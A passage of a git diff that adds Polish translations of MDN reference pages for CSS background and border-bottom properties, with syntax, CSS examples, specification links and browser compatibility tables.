pierwsza wartość określa położenie w poziomie. Dozwolone są kombinacje słów kluczowych, długości i procentów, jednak, jeśli słowa kluczowe są wymieszane z innymi wartościami, wartości 'left' i 'right' mogą być używane tylko jako pierwsza wartość, zaś wartości 'top' i 'bottom' mogą być używane tylko jako druga wartość. Położenie ujemne jest dozwolone.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>.exampleone { + background-image: url("logo.png"); + background-position: top center; +} + +.exampletwo { + background-image: url("logo.png"); + background-position: 25% 75%; +} + +.examplethree { + background-image: url("logo.png"); + background-position: 2cm bottom; +} + +.examplefour { + background-image: url("logo.png"); + background-position: center 10%; +} + +.examplefive { + background-image: url("logo.png"); + background-position: 2cm 50%; +} + +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#background-position">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-position">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-position">CSS 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>6</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/background-size/index.html b/files/pl/web/css/background-size/index.html new file mode 100644 index 0000000000..7c4383448a --- /dev/null +++ b/files/pl/web/css/background-size/index.html @@ -0,0 +1,190 @@ +--- +title: background-size +slug: Web/CSS/background-size +translation_of: Web/CSS/background-size +--- +<div>{{CSSRef}}</div> + +<p><code style=""><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Właściwość </span></font><strong>background-size</strong></code> określa wielkość elementu <code>background-image.</code> Obrazek może pozostać w jego domyślnych wymiarach, rozciągnięty do nowych wymiarów lub ustawiony tak, aby zajmował całą dostępną przestrzeń zachowując swoje proporcje.</p> + +<div>{{EmbedInteractiveExample("pages/css/background-size.html")}}</div> + +<p class="hidden">Źródło tego interaktywnego przykładu jest zlokalizowane na GitHub. Jeśli chcesz wspierać projekt interaktywnych przykładów sklonuj (clone) <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam pull request.</p> + +<p>Przestrzenie nie zapełnione przez <code>background-image</code> wypełnia {{cssxref("background-color")}}, <code>background-color</code> będzie widoczny jeżeli obrazek jest przezroczysty.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="brush: css no-line-numbers">/* Wartości słowne */ +background-size: cover; +background-size: contain; + +/* Właściwości z jedną wartością */ +/* szerokość obrazka (wysokość stanie się 'auto') */ +background-size: 50%; +background-size: 3.2em; +background-size: 12px; +background-size: auto; + +/* Właściwości z dwoma wartościami */ +/* pierwsza wartość: szerokość obrazka, druga wartość: wysokość */ +background-size: 50% auto; +background-size: 3em 25%; +background-size: auto 6px; +background-size: auto auto; + +/* Wiele teł */ +background-size: auto, auto; /* Not to be confused with `auto auto` */ +background-size: 50%, 25%, 25%; +background-size: 6px, auto, contain; + +/* Wartości globalne */ +background-size: inherit; +background-size: initial; +background-size: unset; +</pre> + +<p>Właściwość <code>background-size</code> jest określana w jeden z podanych sposobów:</p> + +<ul> + <li>Używając wartości słownych <code><a href="#contain">contain</a></code> lub <code><a href="#cover">cover</a></code>.</li> + <li>Używając tylko wartości długości, w tym przypadku wysokość jest domyślnie ustawiona na <code><a href="#auto">auto</a></code><a href="#auto">.</a></li> + <li>Używając obu wartości (width i height), każda z wartości może być określona jako długość {{cssxref("<length>")}}, w procentach {{cssxref("<percentage>")}} lub <code><a href="#auto">auto</a></code>.</li> +</ul> + +<p>Aby określić wielkość wielu teł, odziel wartości dla każdego tła przecinkami.</p> + +<h3 id="Values">Values</h3> + +<dl> + <dt id="contain"><code>contain</code></dt> + <dd>Skaluje obrazek do jak największych rozmiarów, bez jego rozciągania czy przycinania.</dd> + <dt id="cover"><code>cover</code></dt> + <dd>Skaluje obrazek do jak największych rozmiarów, bez jego rozciągania. Jeżeli proporcje obrazu są inne od elementu, jest on przycinany pionowo lub poziomo - tak, żeby nie zostało puste miejsce.</dd> + <dt id="auto"><code>auto</code></dt> + <dd>Skaluje tło w odpowiednim kierunku, po to aby zachować jego nieodłączne proporcje.</dd> + <dt id="length">{{cssxref("<length>")}}</dt> + <dd>Rozciąga obrazek w odpowiednim kierunku do określonej długości. Nie można używać wartości ujemnych.</dd> + <dt id="percentage">{{cssxref("<percentage>")}}</dt> + <dd>[do przetłumaczenia na: Polski]</dd> + <dd>Stretches the image in the corresponding dimension to the specified percentage of the <em>background positioning area</em>. The background positioning area is determined by the value of {{cssxref("background-origin")}} (by default, the padding box). However, if the background's {{cssxref("background-attachment")}} value is <code>fixed</code>, the positioning area is instead the entire {{glossary("viewport")}}. Negative values are not allowed.</dd> +</dl> + +<h3 id="Intrinsic_dimensions_and_proportions">Intrinsic dimensions and proportions</h3> + +<p>The computation of values depends on the image's intrinsic dimensions (width and height) and intrinsic proportions (width-to-height ratio). These attributes are as follows:</p> + +<ul> + <li>A bitmap image (such as JPG) always has intrinsic dimensions and proportions.</li> + <li>A vector image (such as SVG) does not necessarily have intrinsic dimensions. If it has both horizontal and vertical intrinsic dimensions, it also has intrinsic proportions. If it has no dimensions or only one dimension, it may or may not have proportions.</li> + <li>CSS {{cssxref("<gradient>")}}s have no intrinsic dimensions or intrinsic proportions.</li> + <li>Background images created with the {{cssxref("element()")}} function use the intrinsic dimensions and proportions of the generating element.</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> The behavior of <code><gradient></code>s changed in Gecko 8.0 {{geckoRelease("8.0")}}. Before this, they were treated as images with no intrinsic dimensions, but with intrinsic proportions identical to that of the background positioning area.</p> +</div> + +<div class="note"> +<p><strong>Note:</strong> In Gecko, background images created using the {{cssxref("element()")}} function are currently treated as images with the dimensions of the element, or of the background positioning area if the element is SVG, with the corresponding intrinsic proportion. This is non-standard behavior.</p> +</div> + +<p>Based on the intrinsic dimensions and proportions, the rendered size of the background image is computed as follows:</p> + +<dl> + <dt>If both components of <code>background-size</code> are specified and are not <code>auto</code>:</dt> + <dd>The background image is rendered at the specified size.</dd> + <dt>If the <code>background-size</code> is <code>contain</code> or <code>cover</code>:</dt> + <dd>While preserving its intrinsic proportions, the image is rendered at the largest size contained within, or covering, the background positioning area. If the image has no intrinsic proportions, then it's rendered at the size of the background positioning area.</dd> + <dt>If the <code>background-size</code> is <code>auto</code> or <code>auto auto</code>:</dt> + <dd> + <ul> + <li>If the image has both horizontal and vertical intrinsic dimensions, it's rendered at that size.</li> + <li>If the image has no intrinsic dimensions and has no intrinsic proportions, it's rendered at the size of the background positioning area.</li> + <li>If the image has no intrinsic dimensions but has intrinsic proportions, it's rendered as if <code>contain</code> had been specified instead.</li> + <li>If the image has only one intrinsic dimension and has intrinsic proportions, it's rendered at the size corresponding to that one dimension. The other dimension is computed using the specified dimension and the intrinsic proportions.</li> + <li>If the image has only one intrinsic dimension but has no intrinsic proportions, it's rendered using the specified dimension and the other dimension of the background positioning area.</li> + </ul> + </dd> + <dd> + <div class="note"><strong>Note:</strong> SVG images have a <code><a href="/en-US/docs/Web/SVG/Attribute/preserveAspectRatio">preserveAspectRatio</a></code> attribute that defaults to the equivalent of <code>contain</code>. In Firefox 43, as opposed to Chrome 52, an explicit <code>background-size</code> causes <code>preserveAspectRatio</code> to be ignored.</div> + </dd> + <dt>If the <code>background-size</code> has one <code>auto</code> component and one non-<code>auto</code> component:</dt> + <dd> + <ul> + <li>If the image has intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the specified dimension and the intrinsic proportions.</li> + <li>If the image has no intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the image's corresponding intrinsic dimension, if there is one. If there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area.</li> + </ul> + </dd> +</dl> + +<div class="note"> +<p><strong>Note:</strong> Background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. Be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are acceptable.</p> +</div> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox">{{csssyntax}} +</pre> + +<h2 id="Examples">Examples</h2> + +<p>Please see <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">Scaling background images</a> for examples.</p> + +<h2 id="Notes">Notes</h2> + +<p>If you use a <code><gradient></code> as the background and specify a <code>background-size</code> to go with it, it's best not to specify a size that uses a single <code>auto</code> component, or is specified using only a width value (for example, <code>background-size: 50%</code>). Rendering of <code><gradient></code>s in such cases changed in Firefox 8, and at present is generally inconsistent across browsers, which do not all implement rendering in full accordance with <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">the CSS3 <code>background-size</code> specification</a> and with <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">the CSS3 Image Values gradient specification</a>.</p> + +<pre class="brush: css">.gradient-example { + width: 50px; + height: 100px; + background-image: linear-gradient(blue, red); + + /* Not safe to use */ + background-size: 25px; + background-size: 50%; + background-size: auto 50px; + background-size: auto 50%; + + /* Safe to use */ + background-size: 25px 50px; + background-size: 50% 50%; +} +</pre> + +<p>Note that it's particularly not recommended to use a pixel dimension and an <code>auto</code> dimension with a <code><gradient></code>, because it's impossible to replicate rendering in versions of Firefox prior to 8, and in browsers not implementing Firefox 8's rendering, without knowing the exact size of the element whose background is being specified.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}</td> + <td>{{Spec2('CSS3 Backgrounds')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<p>{{cssinfo}}</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("css.properties.background-size")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/CSS/Scaling_background_images" title="CSS/Scaling_background_images">Scaling background images</a></li> + <li><a href="/en-US/docs/Web/CSS/Scaling_of_SVG_backgrounds">Scaling of SVG backgrounds</a></li> + <li>{{cssxref("object-fit")}}</li> +</ul> diff --git a/files/pl/web/css/background/index.html b/files/pl/web/css/background/index.html new file mode 100644 index 0000000000..0fc3dea0c2 --- /dev/null +++ b/files/pl/web/css/background/index.html @@ -0,0 +1,134 @@ +--- +title: background +slug: Web/CSS/background +tags: + - CSS + - CSS Tło + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/background +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <strong><code>background</code></strong> jest skrótem do ustawiania poszczególnych wartości tła z jednego miejsca w arkuszu stylów. Właściwość <strong><code>background</code></strong> może być stosowana do ustawiania wartości dla jednej lub więcej z wymienionych warstw własności: {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">background: [ <em><background-color></em> || <em><background-image></em> || + <em><background-repeat></em> || <em><background-attachment></em> || + <em><background-position></em> + ] | {{ Cssxref("inherit") }} ; +</pre> + +<p>Właściwość <strong>background </strong>jest deklarowana przez jedną lub więcej warstw tej właściwości, oddzielonych przecinkami.</p> + +<p>Składnia każdej z warstw jest następująca:</p> + +<ul> + <li>Każda warstwa może zawierać zero lub jedno wystąpienie którejś z następujących wartości:<code></code> + + <ul> + <li><attachment></li> + <li><repeat-style></li> + <li><bg-size></li> + <li><position></li> + <li><bg-image></li> + </ul> + </li> + <li>Wartość <bg-size> może być wstawiona bezpośrednio po wartości <position>, oddzielonej znakiem '/', np. "<code>center/80%</code>".</li> + <li>Wartość <box> może być wstawiona zero, jeden lub dwa razy. Jeśli jest wstawiona raz - ustawia zarówno {{cssxref("background-origin")}} jak i {{cssxref("background-clip")}}. Jeśli wystąpi dwa razy - pierwsze wystąpienie ustawia {{cssxref("background-origin")}}, a drugie {{cssxref("background-clip")}}.</li> + <li>Wartość <background-color> może być wstawiona jedynie w specyfikacji ostatniej warstwy.</li> +</ul> + +<dl> + <dd> </dd> +</dl> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>background-color</dt> + <dd>Zobacz <code><a href="/pl/CSS/background-color" title="pl/CSS/background-color">background-color</a></code>.</dd> + <dt>background-image </dt> + <dd>Zobacz <code><a href="/pl/CSS/background-image" title="pl/CSS/background-image">background-image</a></code>.</dd> + <dt>background-repeat </dt> + <dd>Zobacz <code><a href="/pl/CSS/background-repeat" title="pl/CSS/background-repeat">background-repeat</a></code>.</dd> + <dt>background-attachment </dt> + <dd>Zobacz <code><a href="/pl/CSS/background-attachment" title="pl/CSS/background-attachment">background-attachment</a></code>.</dd> + <dt>background-position </dt> + <dd>Zobacz <code><a href="/pl/CSS/background-position" title="pl/CSS/background-position">background-position</a></code>.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p class="topbanner"> + Starry sky<br/> + Twinkle twinkle<br/> + Starry sky +</p> +<p class="warning">Here is a paragraph<p></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush:css' highlight:[2,6];">.warning { + background: red; +} + +.topbanner { + background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed; +} +</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample("Examples")}}</p> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Biorąc pod uwagę sensowność deklaracji, własność <strong><code>background</code></strong> najpierw ustawia poszczególne własności <strong>tła</strong> na ich domyślne wartości, potem przydziela jawnie wartości określone w deklaracji. Nie musisz definiować wartości dla każdej warstwy, wystarczy, że zadeklarujesz tylko te, które chcesz zmienić z wartości domyślnej.</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#background">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background">CSS 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>6</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p> diff --git a/files/pl/web/css/border-bottom-color/index.html b/files/pl/web/css/border-bottom-color/index.html new file mode 100644 index 0000000000..ba88e74906 --- /dev/null +++ b/files/pl/web/css/border-bottom-color/index.html @@ -0,0 +1,149 @@ +--- +title: border-bottom-color +slug: Web/CSS/border-bottom-color +tags: + - CSS + - Dokumentacje +translation_of: Web/CSS/border-bottom-color +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>border-bottom-color</code> ustawia kolor dolnego obramowania elementu, poprzez wartość koloru lub słowo kluczowe <code>transparent</code>.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: własność {{ Cssxref("color") }}</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: jeśli wzięta z własności 'color', wtedy wartość wyliczona własności 'color'; w innym przypadku jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-bottom-color: <em>color</em> | transparent | inherit +</pre> + +<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2> + +<dl> + <dt>color </dt> + <dd>Kolor może być zdefiniowany jako szestnastkowa wartość RGB, zwykła wartość RGB lub poprzez użycie jednego z predefiniowanych słów określających kolory.</dd> + <dt>transparent </dt> + <dd>Element nie ma własnego koloru, zamiast tego pokazuje kolor elementu pod spodem.</dd> +</dl> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li>{{ Cssxref("border-color") }}</li> + <li>{{ Cssxref("border-left-color") }}</li> + <li>{{ Cssxref("border-right-color") }}</li> + <li>{{ Cssxref("border-top-color") }}</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + width: 300px; + padding: 15px; + border-bottom-size: 1px; + border-bottom-style: solid; + border-bottom-color: #000; +} + +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<ul> + <li><a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a></li> +</ul> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Backgrounds', '#border-bottom-color', 'border-bottom-color')}}</td> + <td>{{Spec2('CSS3 Backgrounds')}}</td> + <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-bottom-color')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility">Browser Compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td> + <td>4</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoMobile("1.0")}}<sup>[1]</sup></td> + <td>6.5</td> + <td>11</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Gecko-based browsers like Firefox also support the non-standard {{Cssxref("-moz-border-bottom-colors")}} CSS property that sets the bottom border to <strong>multiple</strong> colors.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The border-related CSS shorthand properties {{Cssxref("border")}}, {{Cssxref("border-bottom")}}, and {{Cssxref("border-color")}}.</li> + <li>The color-related CSS properties applying to the other borders: {{Cssxref("border-right-color")}}, {{Cssxref("border-top-color")}}, and {{Cssxref("border-left-color")}}.</li> + <li>The other border-related CSS properties applying to the same border: {{cssxref("border-bottom-style")}} and {{cssxref("border-bottom-width")}}.</li> +</ul> diff --git a/files/pl/web/css/border-bottom-left-radius/index.html b/files/pl/web/css/border-bottom-left-radius/index.html new file mode 100644 index 0000000000..0047da4c13 --- /dev/null +++ b/files/pl/web/css/border-bottom-left-radius/index.html @@ -0,0 +1,20 @@ +--- +title: '-moz-border-radius-bottomleft' +slug: Web/CSS/border-bottom-left-radius +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-bottom-left-radius +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>W aplikacjach opartych na Mozilli <code>-moz-border-radius-bottomleft</code> ustawia zaokrąglenie dolnego lewego rogu obramowania.</p> + +<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">-moz-border-radius</a>.</p> + +<p>{{ languages( { "de": "de/CSS/border-bottom-left-radius", "en": "en/CSS/-moz-border-radius-bottomleft", "fr": "fr/CSS/border-bottom-left-radius", "ja": "ja/CSS/border-bottom-left-radius" } ) }}</p> diff --git a/files/pl/web/css/border-bottom-right-radius/index.html b/files/pl/web/css/border-bottom-right-radius/index.html new file mode 100644 index 0000000000..c43c814a8c --- /dev/null +++ b/files/pl/web/css/border-bottom-right-radius/index.html @@ -0,0 +1,20 @@ +--- +title: '-moz-border-radius-bottomright' +slug: Web/CSS/border-bottom-right-radius +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-bottom-right-radius +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>W aplikacjach opartych na Mozilli <code>-moz-border-radius-bottomright</code> ustawia zaokrąglenie dolnego prawego rogu obramowania.</p> + +<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">-moz-border-radius</a>.</p> + +<p>{{ languages( { "de": "de/CSS/border-bottom-right-radius", "en": "en/CSS/-moz-border-radius-bottomright", "fr": "fr/CSS/-moz-border-radius-bottomright", "ja": "ja/CSS/border-bottom-right-radius" } ) }}</p> diff --git a/files/pl/web/css/border-bottom-style/index.html b/files/pl/web/css/border-bottom-style/index.html new file mode 100644 index 0000000000..0b212631ff --- /dev/null +++ b/files/pl/web/css/border-bottom-style/index.html @@ -0,0 +1,159 @@ +--- +title: border-bottom-style +slug: Web/CSS/border-bottom-style +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-bottom-style +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>border-bottom-style</code> ustawia styl linii dolnego obramowania bloku.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-bottom-style: <border-style> | inherit +</pre> + +<h2 id="Warto.C5.9Bci_.3Cborder-style.3E" name="Warto.C5.9Bci_.3Cborder-style.3E">Wartości <border-style></h2> + +<dl> + <dt>none </dt> + <dd>Bez obramowania.</dd> + <dt>hidden </dt> + <dd>Podobnie jak 'none', oprócz sytuacji konfliktu rozdzielczości obramowania dla elementów tabeli.</dd> + <dt>dotted </dt> + <dd>Seria kropek.</dd> + <dt>dashed </dt> + <dd>Seria krótkich kresek lub odcinków linii.</dd> + <dt>solid </dt> + <dd>Pojedyncza, prosta, ciągła linia.</dd> + <dt>double </dt> + <dd>Dwie proste linie, które dają w sumie liczbę pikseli zdefiniowaną jako <code>border-width</code>.</dd> + <dt>groove </dt> + <dd>Efekt wyrzeźbienia.</dd> + <dt>ridge </dt> + <dd>Przeciwieństwo <code>groove</code>. Obramowanie wydaje się trójwymiarowe (zapowiadane).</dd> + <dt>inset </dt> + <dd>Sprawia wrażenie, że blok jest zapadnięty.</dd> + <dt>outset </dt> + <dd>Przeciwieństwo <code>inset</code>. Sprawia, że blok wydaje się trójwymiarowy (wysunięty).</dd> +</dl> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li>{{ Cssxref("border-left-style") }}</li> + <li>{{ Cssxref("border-right-style") }}</li> + <li>{{ Cssxref("border-top-style") }}</li> + <li>{{ Cssxref("border-style") }}</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + border-bottom-size: 1px; + border-bottom-style: dotted; + border-bottom-color: #000; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Jeżeli wartość <code>border-style</code> nie jest ustawiona, wtedy twoje obramowanie nie pojawi się, ponieważ domyślna wartość jest ustawiona na <code>none</code>.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Backgrounds', '#border-bottom-style', 'border-bottom-style') }}</td> + <td>{{ Spec2('CSS3 Backgrounds') }}</td> + <td>No significant change</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#border-style-properties', 'border-bottom-style') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>1.0</td> + <td>5.5</td> + <td>9.2</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>7.0</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_Also" name="See_Also">See also</h2> + +<ul> + <li>The other style-related border properties: {{ Cssxref("border-left-style") }}, {{ Cssxref("border-right-style") }}, {{ Cssxref("border-top-style") }}, and {{ Cssxref("border-style") }}.</li> + <li>The other bottom-border-related properties: {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-color") }}, and {{ Cssxref("border-bottom-width") }}.</li> +</ul> diff --git a/files/pl/web/css/border-bottom-width/index.html b/files/pl/web/css/border-bottom-width/index.html new file mode 100644 index 0000000000..6b85e8972f --- /dev/null +++ b/files/pl/web/css/border-bottom-width/index.html @@ -0,0 +1,143 @@ +--- +title: border-bottom-width +slug: Web/CSS/border-bottom-width +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-bottom-width +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>border-bottom-width</code> ustawia szerokość dolnego obramowania bloku.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("medium") }}</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: długość całkowita; '0' jeśli stylem obramowania jest <code>none</code> lub <code>hidden</code></li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-bottom-width: <border-width> | inherit +</pre> + +<h2 id="Warto.C5.9Bci_.3Cborder-width.3E" name="Warto.C5.9Bci_.3Cborder-width.3E">Wartości <border-width></h2> + +<dl> + <dt>thin</dt> + <dd>Cienkie obramowanie.</dd> + <dt>medium</dt> + <dd>Średnie obramowanie.</dd> + 